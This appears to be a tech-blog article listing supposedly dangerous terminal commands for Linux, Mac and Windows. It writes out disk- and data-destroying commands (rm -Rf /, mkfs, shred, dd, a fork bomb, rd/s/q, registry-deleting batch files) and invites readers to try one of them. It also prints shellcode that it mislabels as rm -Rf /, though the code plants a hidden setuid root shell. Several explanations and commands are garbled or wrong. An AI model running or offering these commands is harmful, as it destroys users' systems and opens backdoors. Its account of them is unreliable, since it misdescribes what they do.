10 C
Texas

Top ten most dangerous text commands for Windows, GNU/Linux, and Mac

Hello! Clicking on a button or icon whose function you don’t know can be quite dangerous. On the other hand, if we are talking about text commands entered the terminal, the thing can be just as serious or even worse. The text commands listed below can have destructive effects on your system. Specifically, if you run them with administrator privileges. Therefore, be meticulous how you use them. Look Top ten most dangerous text commands for Windows, GNU/Linux, and Mac.

Some of the most threatening commands

rm -Rf / (GNU/Linux, BSD, Mac)

Look, regarding GNU/Linux, there is a really classic example. Indeed, this command has earned its reputation as dangerous, with good reason. In effect, this command deletes each directory on your hard disk, starting from the root directory (/). Let’s see what it is:

rm -Rf /

Plain and simple, it erases everything completely. To avoid this, several distributions have an alias configured by default. Therefore, when we start rm, we are actually accessing rm -i. Consequently, Bash will ask us to confirm that we really want to perform the deletion.

- Advertisement -

It also has a variant that only deletes our user folder. Therefore, it also deletes all the configuration files that reside there: rm –rf ~.

mkfs.ext4 /dev/sda (Linux, BSD, Mac)

If using an EXT4 file system, the following command is not unlike the typical DOS/Windows ‘format C:’. In effect, it formats and takes everything with it.

mkfs.ext4 /dev/sda

But, instead of formatting the entire file hierarchy, as above, it focuses on a specific media drive. This drive can be /dev/sda or other.

shred /dev/sda (Linux, BSD, Mac)

Certainly, the above commands are very dangerous. But at least, once run, they allow you to resort to file recovery tools with a good chance of success. However, there is another much less known command that can erase all files on a hard disk with no possible solution:

shred /dev/sda

Shred is a tool that not only deletes content. In fact, it also destroys. In other words, it does not just delete a file from the file table, but overwrites dozens of times the physical space it occupies. Consequently, it makes it totally unrecoverable.

dd if=/dev/random of=/dev/sda (Linux, BSD, Mac)

DD is a tool that is often used to clone disks to create backups. But, used for other purposes, it can cause us to have to resort to them. As in this example:

dd if=/dev/random of=/dev/sda

Let’s take it one step at a time. dev/random is the name of a virtual device that Unix uses as a random number generator. Specifically, what this command does is to copy the contents of that device to the primary hard disk. Consequently, its effect will be the same as using shred /dev/sda, although much slower.

mv / /dev/null (Linux, BSD, Mac)

These virtual devices are much more dangerous than they look. Indeed, dev/random is not the only one of its kind that can give us headaches. Watch out for the following command and what it can do:

mv / /dev/null

What does this command do? Specifically, it moves the contents of (i.e., the entire contents of the system) to the virtual device /dev/null. Before we continue, we want to emphasize that it moves the contents, not copies them. The problem is that /dev/null is the Nothing, it does not exist. To put it graphically, it is a kind of computer black hole. Consequently, any piece of information we throw in there is lost, never to return. Do you realize how serious this is?

:(){ :|:& };: (Linux, BSD, Mac)

Fortunately, the above commands can be read relatively easily. In other words, it is enough to know something about Unix or elements of the language, for an alarm signal to go off. The problem is when a command doesn’t look like one at all. Let’s look at the following example:

:(){ :|:& };:

Introducing the Fork bomb command. Its function is to define and execute a function that recursively calls itself infinitely. Basically, it does nothing by itself. Apart from executing itself so many times that it ends up exhausting the available memory and forcing us to reboot the device.

Hexadecimal commands (Linux, BSD, Mac)

It is possible to convert a command (any) written in normal text mode to hexadecimal format. Consequently, we will not be able to read it. Strictly speaking, what we will not be able to understand it. However, if we tell the system to reconvert and execute the hexadecimal string, it will be as if we were executing the original command directly. Thus, there is no difference between typing rm -Rf / and the following:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */

= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” “\x6e\x2f\x73\x68\x00\x2d\x63\x00”

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

rd/s/q/ C:\ (Windows)

Let’s see a command that for Windows is basically equivalent to the ‘rm -Rf’ of Linux, Mac, and others:

rd/s/q/ C:\

However, there is a difference here. It will only erase data from a specific logical drive (in the example, C:), but not from the whole system. The difference, of course, will only be relevant if we have more than one drive in the system.

Blue Screen of Death command (Windows)

At this point, we are getting a little more creative. You remember the classic blue screens of death in Windows. You probably do, and not in a good way. But if you want to feel a little nostalgic, you can try this command:

@echo off

delete %systemdrive%*.* /f /s

Fortunately, copying and pasting into cmd is not enough. In fact, both lines must be saved as a text file with a .BAT extension, equivalent to Linux .SH.

Registry Deletion (Windows)

Another set of commands to be executed one after the other using a BAT file:

@echo off

START reg delete HKC/.EXE

START reg delete HKCR.dll

START reg delete HKCR/*

With this command, we will completely delete the registry. Consequently, the system will become basically unusable. Okay, so we have seen the ten most dangerous text commands for Windows, Linux, and Mac. Bye

- Advertisement -
Everything Linux, A.I, IT News, DataOps, Open Source and more delivered right to you.
Subscribe
"The best Linux newsletter on the web"

LEAVE A REPLY

Please enter your comment!
Please enter your name here



Latest article